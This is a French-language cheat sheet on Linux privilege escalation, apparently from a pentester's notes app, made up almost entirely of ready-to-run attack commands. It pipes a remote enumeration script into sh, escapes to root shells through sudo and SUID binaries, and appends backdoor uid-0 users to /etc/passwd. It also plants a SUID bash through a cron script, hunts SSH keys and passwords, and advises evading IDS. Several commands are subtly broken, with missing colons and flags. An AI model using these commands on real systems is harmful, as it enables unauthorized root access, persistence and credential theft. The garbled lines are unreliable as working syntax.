MDstable
NoteSnippetChecklistPlaybook

Privilege Escalation Linux

Élévation de privilèges sur systèmes Linux

snippetadvanced 2025-05-10 3 min read
privesclinuxsudosuidcron

Énumération automatique

bash
# LinPEAS
curl -L https//github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
wget https//raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod x LinEnumsh && /LinEnum.sh
# Linux Smart Enumeration
wget https//raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod x lsesh && /lse.sh -l 1

Sudo

bash
# Lister les droits sudo
sudo -l
# Chercher dans GTFOBins
# https://gtfobins.github.io/
# Exemple : sudo vim
sudo vim -c ':!/bin/bash'
# Exemple : sudo find
sudo find -exec /bin/bash ; -quit
# Exemple : sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# Exemple : sudo python
sudo python3 -c 'import os; os.system("/bin/bash")'

SUID / SGID

bash
# Fichiers SUID
find -perm -4000 -type f 2>/dev/null
# Fichiers SGID
find -perm -2000 -type f 2>/dev/null
# Writable + SUID
find -perm -4000 -writable 2>/dev/null

Exploitation SUID courants

bash
# bash SUID
/bin/bash -p
# cp SUID — copier /etc/passwd édité
cp /etc/passwd /tmp/passwd.bak
echo "root2:$(openssl passwd hacked):0:0:root:/root:/bin/bash" >> /etc/passwd
su root2 # mdp: hacked
# find SUID
find -exec /bin/bash -p ; -quit

Cron jobs

bash
# Lister les crons
cat /etc/crontab
ls -la /etc/cron.
crontab -l
# Surveiller en temps réel
watch -n 1 'ls -la /tmp'
pspy64 # surveiller les processus sans être root
# Script writable exécuté par root
echo 'chmod u+s /bin/bash' >> /path/to/cron-script.sh
# Attendre l'exécution, puis :
/bin/bash -p

Capabilities

bash
# Lister les capabilities
getcap -r 2>/dev/null
# python3 cap_setuid
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# perl cap_setuid
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash"'

Mots de passe et credentials

bash
# Historique bash
cat /.bash_history
cat /home//._history
# Fichiers de config
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
# Clés SSH
find -name "id_rsa" 2>/dev/null
find -name "*.pem" 2>/dev/null
# Base de données
find -name "*.db" -o -name "*.sqlite" 2>/dev/null

Writable /etc/passwd

bash
# Générer un hash
openssl passwd -1 -salt salt hacked
# Ajouter une ligne root
echo 'backdoor:$1$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
# Se connecter
su backdoor # mdp: hacked

NFS no_root_squash

bash
Variables
{{TARGET}}
# Côté attaquant : vérifier les exports
showmount -e {{TARGET}}
# Monter le partage
mount -t nfs {{TARGET}}/share /mnt/nfs
# Créer un binaire SUID
cp /bin/bash /mnt/nfs/bash
chmod s /mnt/nfs/bash
# Côté cible :
/tmp/bash -p

Kernel exploits

bash
Variables
{{KERNEL_VERSION}}
# Version du kernel
uname -a
cat /etc/os-release
# Rechercher des exploits
searchsploit linux kernel {{KERNEL_VERSION}}
# DirtyCow, DirtyPipe, OverlayFS, etc.
💡 Tip —

Toujours essayer les méthodes manuelles (sudo -l, suid) avant de lancer des outils automatiques qui peuvent alerter les IDS.

OPS·BRAIN v1.075 notes · Securitylocal